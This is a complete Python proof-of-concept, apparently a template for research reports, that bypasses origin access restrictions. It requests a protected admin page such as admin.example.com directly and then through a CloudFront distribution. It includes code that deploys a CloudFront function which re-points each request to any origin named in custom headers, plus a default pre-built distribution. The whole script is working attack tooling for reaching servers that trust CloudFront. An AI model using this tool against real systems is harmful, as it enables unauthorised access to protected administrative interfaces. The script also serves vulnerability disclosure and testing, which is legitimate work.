#!/usr/bin/env python3
# /// script
# requires-python = ">=3.10"
# dependencies = ["boto3", "curl_cffi"]
# ///
"""HOST refuses direct requests but serves WHAT to any CloudFront distribution.

With no command, this requests TARGET directly and then through CloudFront, by default
through the researcher's distribution. To use a distribution in your own AWS account:

  uv run NAME.py setup --access-key-id AKIA... --secret-access-key ...
  uv run NAME.py --cloudfront-url <the URL setup printed>
  uv run NAME.py delete --access-key-id AKIA... --secret-access-key ...

setup takes about five minutes. `uv run NAME.py setup -h` lists the permissions the key needs.
"""

from __future__ import annotations

import argparse
import ipaddress
import json
import secrets
import sys
import time
from urllib.parse import urlsplit

from curl_cffi import requests

# The researcher's distribution. Its key only reaches ORIGIN.
CLOUDFRONT_URL = "https://DISTRIBUTION.cloudfront.net/KEY"
TARGET = "https://admin.example.com/"
# The server CloudFront connects to: TARGET's host name, or the origin's IPv4 address.
ORIGIN = "admin.example.com"
HEADERS: dict[str, str] = {}


def proof(response: requests.Response) -> str | None:
    """The protected content in the response, or None."""
    if response.status_code == 200 and "Dashboard" in response.text:
        return response.text[:400]
    return None


def through_cloudfront(cloudfront_url: str, url: str, origin: str) -> tuple[str, dict[str, str]]:
    """The CloudFront URL and headers that fetch url from origin."""
    target = urlsplit(url)
    try:
        origin = f"{ipaddress.IPv4Address(origin)}.sslip.io"
    except ValueError:
        pass
    headers = {
        "x-toadex-origin": origin,
        "x-toadex-host": target.hostname or "",
        "x-toadex-proto": target.scheme,
        "x-toadex-port": str(target.port or (443 if target.scheme == "https" else 80)),
    }
    path = (target.path or "/") + (f"?{target.query}" if target.query else "")
    return cloudfront_url.rstrip("/") + path, headers


def run(args: argparse.Namespace) -> int:
    session = requests.Session(impersonate="chrome", proxy=args.proxy, verify=False)
    try:
        direct = session.get(TARGET, headers=HEADERS, timeout=15, allow_redirects=False)
    except requests.RequestsError as exc:
        print(f"Direct: no response ({str(exc).split('. See ')[0]})")
    else:
        print(f"Direct: HTTP {direct.status_code}")
        if proof(direct):
            print("error: the direct request was not refused", file=sys.stderr)
            return 1

    url, headers = through_cloudfront(args.cloudfront_url, TARGET, ORIGIN)
    response = session.get(url, headers=HEADERS | headers, timeout=60, allow_redirects=False)
    print(f"Through CloudFront: HTTP {response.status_code}")
    found = proof(response)
    if not found:
        print(f"error: no protected content:\n{response.text[:300]}", file=sys.stderr)
        return 1
    print(found)
    return 0


# Your own distribution: setup and delete.

NAME = "origin-access-poc"
COMMENT = "CloudFront origin access PoC"
CACHING_DISABLED = "4135ea2d-6df8-44a3-9df3-4b5a84be39ad"
ALL_VIEWER = "216adef6-5c7f-47e4-b989-5492eafa07d3"
POLICY = {
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "cloudfront:CreateFunction",
                "cloudfront:DescribeFunction",
                "cloudfront:UpdateFunction",
                "cloudfront:PublishFunction",
                "cloudfront:DeleteFunction",
                "cloudfront:ListDistributions",
                "cloudfront:CreateDistribution",
                "cloudfront:GetDistribution",
                "cloudfront:GetDistributionConfig",
                "cloudfront:UpdateDistribution",
                "cloudfront:DeleteDistribution",
            ],
            "Resource": "*",
        }
    ],
}
SETUP_HELP = f"""Create a CloudFront distribution in your AWS account and print the URL to pass
as --cloudfront-url. It sends each request to the origin named in the PoC's headers,
as any AWS customer's distribution can, and serves only URLs that start with the
random key in the printed URL, so it is not an open proxy. Running setup again
replaces the key.

Credentials come from the options, or the usual AWS environment variables or profile.
The key needs the CloudFrontFullAccess managed policy, or this inline policy:

{json.dumps(POLICY, indent=2)}
"""

FUNCTION_SOURCE = r"""
import cf from 'cloudfront';

const key = "__KEY__";

function handler(event) {
    const request = event.request;
    const headers = request.headers;
    const end = request.uri.indexOf('/', 1);
    if ((end < 0 ? request.uri.slice(1) : request.uri.slice(1, end)) !== key) {
        return { statusCode: 403, statusDescription: 'Forbidden' };
    }
    const origin = headers['x-toadex-origin'];
    const host = headers['x-toadex-host'];
    const proto = headers['x-toadex-proto'];
    const port = headers['x-toadex-port'];
    if (!origin || !host || !proto || !port ||
        (proto.value !== 'http' && proto.value !== 'https')) {
        return { statusCode: 400, statusDescription: 'Invalid origin' };
    }
    const originConfig = {
        domainName: origin.value,
        hostHeader: host.value,
        customOriginConfig: {
            port: parseInt(port.value, 10),
            protocol: proto.value,
            sslProtocols: ['TLSv1', 'TLSv1.1', 'TLSv1.2'],
        },
    };
    if (proto.value === 'https') {
        const names = [host.value];
        const labels = host.value.split('.');
        for (let i = 1; i < labels.length - 1 && names.length < 10; i++) {
            names.push('*.' + labels.slice(i).join('.'));
        }
        originConfig.sni = host.value;
        originConfig.allowedCertificateNames = names;
    }
    cf.updateRequestOrigin(originConfig);
    request.uri = end < 0 ? '/' : request.uri.slice(end);
    delete headers['x-toadex-origin'];
    delete headers['x-toadex-host'];
    delete headers['x-toadex-proto'];
    delete headers['x-toadex-port'];
    return request;
}
"""


def log(message: str) -> None:
    print(message, file=sys.stderr, flush=True)


def distribution_config(function_arn: str) -> dict:
    methods = ["GET", "HEAD", "OPTIONS", "PUT", "PATCH", "POST", "DELETE"]
    return {
        "CallerReference": f"{NAME}-{secrets.token_hex(8)}",
        "Comment": COMMENT,
        "Enabled": True,
        "Origins": {
            "Quantity": 1,
            "Items": [
                {
                    "Id": "origin",
                    # Replaced per request by the function.
                    "DomainName": "example.com",
                    "CustomOriginConfig": {
                        "HTTPPort": 80,
                        "HTTPSPort": 443,
                        "OriginProtocolPolicy": "http-only",
                        "OriginReadTimeout": 60,
                    },
                }
            ],
        },
        "DefaultCacheBehavior": {
            "TargetOriginId": "origin",
            "ViewerProtocolPolicy": "https-only",
            "AllowedMethods": {
                "Quantity": len(methods),
                "Items": methods,
                "CachedMethods": {"Quantity": 2, "Items": ["GET", "HEAD"]},
            },
            "CachePolicyId": CACHING_DISABLED,
            "OriginRequestPolicyId": ALL_VIEWER,
            "Compress": False,
            "FunctionAssociations": {
                "Quantity": 1,
                "Items": [{"FunctionARN": function_arn, "EventType": "viewer-request"}],
            },
        },
        # Error responses are passed on, not cached.
        "CustomErrorResponses": {
            "Quantity": 10,
            "Items": [
                {"ErrorCode": status, "ErrorCachingMinTTL": 0}
                for status in (400, 403, 404, 405, 414, 500, 501, 502, 503, 504)
            ],
        },
        "PriceClass": "PriceClass_All",
        "HttpVersion": "http2",
    }


def find_distribution(client) -> dict | None:
    for page in client.get_paginator("list_distributions").paginate():
        for item in page["DistributionList"].get("Items", []):
            if item["Comment"] == COMMENT:
                return item
    return None


def check(cloudfront_url: str) -> None:
    url, headers = through_cloudfront(cloudfront_url, "https://example.com/", "example.com")
    # A new key takes a minute or two to reach every edge.
    for _ in range(30):
        try:
            if "Example Domain" in requests.get(url, headers=headers, timeout=30).text:
                return
        except requests.RequestsError:
            pass
        time.sleep(10)
    raise SystemExit(f"error: {cloudfront_url} did not reach https://example.com/")


def setup(client) -> int:
    key = secrets.token_hex(16)
    code = FUNCTION_SOURCE.replace("__KEY__", key).encode()
    config = {"Comment": COMMENT, "Runtime": "cloudfront-js-2.0"}
    try:
        etag = client.describe_function(Name=NAME)["ETag"]
    except client.exceptions.NoSuchFunctionExists:
        etag = client.create_function(Name=NAME, FunctionConfig=config, FunctionCode=code)["ETag"]
    else:
        etag = client.update_function(
            Name=NAME, IfMatch=etag, FunctionConfig=config, FunctionCode=code
        )["ETag"]
    published = client.publish_function(Name=NAME, IfMatch=etag)
    function_arn = published["FunctionSummary"]["FunctionMetadata"]["FunctionARN"]
    distribution = (
        find_distribution(client)
        or client.create_distribution(DistributionConfig=distribution_config(function_arn))[
            "Distribution"
        ]
    )
    log(f"Waiting for CloudFront to deploy distribution {distribution['Id']} (about 5 minutes)")
    client.get_waiter("distribution_deployed").wait(
        Id=distribution["Id"], WaiterConfig={"Delay": 15, "MaxAttempts": 80}
    )
    url = f"https://{distribution['DomainName']}/{key}"
    log("Checking the distribution")
    check(url)
    print(url)
    return 0


def delete(client) -> int:
    distribution = find_distribution(client)
    if distribution:
        current = client.get_distribution_config(Id=distribution["Id"])
        if current["DistributionConfig"]["Enabled"]:
            config = current["DistributionConfig"] | {"Enabled": False}
            client.update_distribution(
                Id=distribution["Id"], IfMatch=current["ETag"], DistributionConfig=config
            )
        log(
            f"Waiting for CloudFront to disable distribution {distribution['Id']} (about 5 minutes)"
        )
        client.get_waiter("distribution_deployed").wait(
            Id=distribution["Id"], WaiterConfig={"Delay": 15, "MaxAttempts": 80}
        )
        etag = client.get_distribution(Id=distribution["Id"])["ETag"]
        client.delete_distribution(Id=distribution["Id"], IfMatch=etag)
        log(f"Deleted distribution {distribution['Id']}")
    # The function stays in use for a short while after its distribution is deleted.
    for _ in range(30):
        try:
            etag = client.describe_function(Name=NAME)["ETag"]
            client.delete_function(Name=NAME, IfMatch=etag)
        except client.exceptions.NoSuchFunctionExists:
            return 0
        except client.exceptions.FunctionInUse:
            time.sleep(10)
            continue
        log(f"Deleted function {NAME}")
        return 0
    raise SystemExit(f"error: CloudFront function {NAME} is still in use; run delete again")


def aws(args: argparse.Namespace) -> int:
    import boto3
    from botocore.exceptions import ClientError

    session = boto3.Session(
        aws_access_key_id=args.access_key_id,
        aws_secret_access_key=args.secret_access_key,
        profile_name=args.profile,
    )
    client = session.client("cloudfront", region_name="us-east-1")
    try:
        return setup(client) if args.command == "setup" else delete(client)
    except ClientError as exc:
        if exc.response["Error"]["Code"] in {"AccessDenied", "AccessDeniedException"}:
            log("The AWS key needs CloudFrontFullAccess, or this inline policy:")
            log(json.dumps(POLICY, indent=2))
        raise SystemExit(f"error: {exc}") from exc


def main() -> int:
    parser = argparse.ArgumentParser(
        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument(
        "--cloudfront-url",
        default=CLOUDFRONT_URL,
        help="the URL setup printed (default: the researcher's distribution)",
    )
    parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
    commands = parser.add_subparsers(dest="command")
    for name, short, text in (
        ("setup", "create your own distribution and print its URL", SETUP_HELP),
        ("delete", "delete the distribution and function setup created", None),
    ):
        sub = commands.add_parser(
            name,
            help=short,
            description=text or short,
            formatter_class=argparse.RawDescriptionHelpFormatter,
        )
        sub.add_argument("--access-key-id", help="AWS access key ID")
        sub.add_argument("--secret-access-key", help="AWS secret access key")
        sub.add_argument("--profile", help="AWS profile name")
    args = parser.parse_args()
    return aws(args) if args.command else run(args)


if __name__ == "__main__":
    raise SystemExit(main())